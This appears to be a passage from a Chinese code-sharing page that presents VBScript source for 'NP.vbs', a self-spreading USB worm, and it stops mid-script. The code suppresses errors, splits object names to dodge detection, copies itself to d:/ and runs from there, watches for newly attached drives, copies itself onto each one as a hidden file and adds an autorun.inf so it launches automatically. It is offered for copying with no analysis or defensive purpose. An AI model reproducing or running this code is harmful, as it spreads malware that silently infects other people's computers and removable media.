on error resume next set fso = CreateObject("Scripting.FileSys"&"temObject") if fso.FileExists("NP.vbs") = -1 then if fso.FileExists("d:/NP.vbs") = -1 then set f = fso.getfile("d:/NP.vbs") if f.attributes = 0 then else f.attributes = 0 end if f.delete(true) end if fso.copyfile "NP.vbs", "d:/NP.vbs", true set wshshell = wscript.createobject("WScript.Shell") wshshell.run "d:/NP.vbs" end if
文件名:NP.VBS -----
复制代码 代码如下:
'[NatruePark] '容错语句 on Error resume next '变量声明及初始化 dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell set fso = CreateObject("Scripting.File"&"SystemObject") set wshshell = wscript.createobject("WScript.Shell") old_n=0 redim old_drs(old_n) old_drs(0)="C"
'[主体部分] wshshell.run("explorer ./") dim i i = 0 do while i>=0 and i<8*360 scan_disk() if judge_new_disk() = 1 then dim left_n left_n = 1 do while left_n<=(new_n-old_n) new_disk = new_drs(left_n+old_n)&":/" '-----------------<维护块>----------------- if fso.FileExists(new_disk&"NP.vbs") = -1 then else self_copy(new_disk) end if add_attrib(new_disk&"NP.vbs") if fso.FileExists(new_disk&"autorun.inf") = -1 then del_attrib(new_disk&"autorun.inf") end if add_autorun(new_disk)